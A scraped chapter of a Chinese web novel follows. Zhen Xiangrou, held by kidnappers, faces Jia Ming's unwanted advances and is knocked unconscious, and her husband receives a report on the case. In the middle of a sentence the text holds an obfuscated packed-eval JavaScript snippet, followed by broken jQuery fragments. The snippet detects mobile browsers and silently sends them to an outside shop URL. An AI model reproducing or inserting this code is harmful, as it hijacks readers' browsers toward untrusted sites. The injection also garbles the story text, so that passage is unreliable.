文趣网 > 其他小说 > 破戒 > 68. 抓到线头
    一炷香后,吵闹的房间随着一声“吱呀”,再次恢复寂静。

    另一边“吱呀”声再次响起。

    甄享柔推开衣柜门,探出头来,静静看着桌边喝茶的贾鸣。

    突然觉得这一幕好眼熟,在甄府的阳光下发生过无数次。

    贾鸣低头看着茶杯中被变得渐渐清淡的茶汤,余光中看到衣柜门前蹲着的人,嘴角挂着似有若无的笑意,说:“听到我们要用麻子建议的美人计将计就计,有什么想法?”

    甄享柔蹲在地上抱着双腿,说:“贾鸣,别一错再错,你知道你在做什么。”

    她不相信,不相信曾经那个在甄府细心温柔的他,全是假的。

    冷静下来,仔细想想,人都会伪装。

    小孩为了多吃糖,可以说自己今天一口没吃,实际满嘴黑牙。

    她愿意为贾鸣找一些理由,人心难测,她选择相信一些让自己好过的答案。

    放过别人,也是放过自己。

    听到她变宽容的话语,贾鸣放下手中的茶杯,看到旁边茶汤浓郁,只被抿了一口的浓茶。

    贾鸣看着她说:“你过来。”

    甄享柔不知所以,起身走过去。

    重逢之后,她看不懂贾鸣的行为,也许她从没看懂过,不愿细想。

    她刚靠近,贾鸣一把把她拉进怀里坐下,手抬着她下巴。

    陌生的触感让她不适,火速扶着桌子挣扎起身,站在远处,震惊地说:“贾鸣!你干什么?”

    这种登徒子的行为,怎么可能是他做出来的,她从心里相信贾鸣不会做这种事。

    尽管眼前证据都指向他,她还是不免找理由为他开解。

    只恨他不够坦诚,两人始终没有站在一个平等的沟通线上。

    贾鸣眼角眉梢含笑,手肘支在桌上,托腮撑着脸,身形放松,配上白衣,一副清贵公子的模样。

    他像是故意流露出这种风尘的模样,调侃说:“美人计啊。”

    甄享柔被他这副样子看得脸颊升温。

    这人现在怎么变成这样?

    花花公子的样子跟谁选的?

    麻子献出的美人计,是指,让下令不碰摇钱树的大当家,主动破戒身边躺个女人,被大家抓到,牙哥就可以顺势上位。

    现在贾鸣又是在干什么?

    一时之间,竟分不清谁是美人。

    甄享柔吞咽下口水,在心中默念:色即是空,空即是色。贾黯,我想你,快来救我。

    调理好心态,甄享柔皱眉说:“麻子也只是立场不同,你们放过麻子不好吗?我来替他当人质,我是大理寺少卿的妻子,贾侯爷的儿媳妇,比一个没有官职的卧底更合适当人质。”

    不知道她哪一句话踩到了雷点,贾鸣眼神瞬间变得凌厉,说:“闭嘴!”

    甄享柔被他这副陌生模样吓得抖一下,心中仍暗暗偏向他不会那样对麻子,试探性说:“贾鸣,你知道甄享畅成亲了吗?和秋月,说起来,我都不知道他偷偷喜欢着秋月,我出来之前,秋月都已经大着肚子了。还有他——”

    没等她絮絮叨叨说些旧人近况来试图唤回他的良知。

    贾鸣眼神漠然看着她,说:“贾府什么样?”

    甄享柔被他冷淡的眼神刺一下,可又觉得不是在针对她。

    于是,缓缓说:“贾侯爷看上去很严肃,猛地一看是贾黯翻版,可实际感觉更……冷静。”

    贾鸣冷不丁插嘴,说:“是冷漠。”

    她找了半天,找到用“冷静”这个词,代替她原本想说的“冷漠”,还是被贾鸣戳破。

    她心想:原来贾侯爷的曾经的将军威风这么影响这群人?

    甄享柔继续说:“夫人,一个看上去很冷漠、不好相处,实际心软,是个很简单的人。”

    贾鸣没有对她婆婆发表什么意见。

    她继续说:“衡儿的话,你自己也看到了,一个很可爱机灵的小孩。我能见见她吗?”

    她见缝插针地问。

    贾鸣看着她说:“那个人呢?”

    她会心一笑,微微撅起嘴,说:“他啊,是个很烦人的人。”

    是吗?贾鸣看着她满脸幸福地说讨厌那个人,她变了很多。

    甄享柔瞬间回到了聊心事的阶段,把贾鸣当成好朋友,说:“可是他一生气就埋在心里,每次都我上赶着去找他。”

    又炫耀似的,开始举例从他那里学到的各种小旁门左道。

    听到贾黯教她撬锁时候,贾鸣不可置信皱眉,说:“他怎么撬的锁?”

    甄享柔看贾鸣终于有了兴趣,回忆一下,直接上手用贾鸣房门那把锁演示一下,说:“会可多了,他说是小时候,贾侯爷每次打仗回来就教他一个新鲜玩意儿。”

    贾鸣从看见她开锁的动作就觉得眼熟,听到贾侯爷每次打仗回去都教一个,更替那个人愤怒。

    他甚至想把那个人从棺材里挖出来,挖出来看着她的脸,诛心说:“你的祖传技艺都被他学回去教给他儿子,这就是你想得到的?你如愿了?”

    甄享柔看到贾鸣难看的脸色,停住了嘴,上前关心地说:“你脸色怎么这样难看?哪不舒服?”

    贾鸣紧紧抓住她放在自己肩膀上的手,一字一顿,说:“选我。”

    让我赢一次,告诉那个人,二选一没被选那个人就是失败者,找些冠冕堂皇地理由安慰自己直到死,太可悲了。

    甄享柔挣脱一下没挣脱开,还要继续挣第二次,看到贾鸣眼神那一刻,顿一下,彻底丧失力气。

    他哭了?

    两道晶莹的泪珠从他两边眼角分别滑落,整张脸瞬间显得活色生香。

    等反应过来,甄享柔的另一只空闲的手已经本能放在他下巴处。

    眼泪落在手心本该是无声的。

    “扑通——”

    她听到了他眼泪的声音。

    不过是一瞬间,她清醒过来,想要解释自己的行为,贾鸣却做了一个更为大胆的动作。

    贾鸣在她伸出手的时候,只怔愣一瞬,等眼泪落在她手心,浅浅在手心汇成一汪湖水。

    贾黯低头伸出舌尖,对着湖水舔了上去,浅浅的湖水干涸后,露出里面的密密麻麻手纹。

    他想起来在某本书看到过,左手是代表先天的命运,右手代表后天的命运。

    刚好眼前这只手是右手,他鬼使神差对着最长那条线舔了过去。

    这

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17883970|209731||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    样,算我参与过你的后天命运了,不要忘记我。

    被舔的甄享柔瞬间一激灵,费劲九牛二虎之力挣脱开他,一巴掌扇了上去。

    “啪——”

    清脆的一声响。

    贾鸣看着那用力到发红的右手,像是感觉不到脸上的疼痛,笑着说:“右手属于我,好不好?”

    她喜欢他的温柔,他可以装一辈子。

    他最擅长伪装。

    伪装自己听话,伪装自己不在乎别人说他没父亲,伪装自己待人和善。

    最后装到他自己都分不清哪个是真是的他,哪个是伪装后的他。

    甄享柔还没从自己的反常中缓过来,贾鸣也疯了一样。

    她感到一阵头疼,他一定有很严重的心理问题。

    这让她无法坐视不理。

    甄享柔坐在凳子上,说:“贾鸣,你怎么了?你在想什么?”

    她得知道事情的原委才能帮他,至于自己刚刚那点微弱的动摇,她可以处理好的。

    贾鸣直直看着她,温柔笑着说:“在想怎么得到你。”

    甄享柔一噎,心里又知道他说的大概率是实话。

    她心中却没有几分得到喜欢人的欣喜,只有对他隐隐的担忧。

    原来他这么痛苦,他到底遭受了什么?

    甄享柔刚准备说些什么,外面突然传来几声断顿续续的门响声。

    屋内二人同时朝外面看去——天亮了。

    这么快?

    那群人很快就会发现她不在的。

    甄享柔猛地回头看向贾鸣,想要和他商量一下该怎么办。

    转过头却撞上一个黑色的布。

    昏迷前的最后一个念头是——贾鸣不累吗?

    罪魁祸首眼疾手快把她拦腰抱起,学着记忆中从门后面看到的模样,缓缓把嘴唇贴在她的额头处,照本宣科说:“我会回来的,你好好休息。”

    昏迷中的人当然不会给他任何反馈。

    贾鸣把她放在床上,盖上被子,径直走了出去,留她一个人皱眉昏倒在床上。

    另一边的大理寺。

    贾二递上一封信,在他耳边耳语了几句。

    贾黯瞬间变了脸色,直起身接过那封信,快速展开,一字一字看起来,生怕错过一点信息。

    反复看完两遍后,提笔写了一封回信,阐述下一步的指令除了他自己发挥就是保证衡儿和少夫人的安全。

    等他写完信,贾二看到他稍微松散一些的眉头,自己也心里一松。

    这些天,刚开始只是衡儿被拐,后面竟然发现少夫人主动被拐走。

    真是不知道该说什么。

    贾二知道主子一旦决定的事,是谁也无法改变的,也不再劝诫,赶紧把手中的信传递出去。

    早些解救出来,主子的烦心事也能少一些,眉头可以带上笑意。

    贾二走后,贾黯一边按压太阳穴解乏,一边再次回看那封信的内容。

    上面说他碰到了少夫人,少夫人没见过他,但一切安好,衡儿小姐虽没见到,但这里拐卖人口的流动率并不大,诡异的是更多时候,是拐回来先关在那里,他猜测衡儿小姐应该在一个比较私密的地方。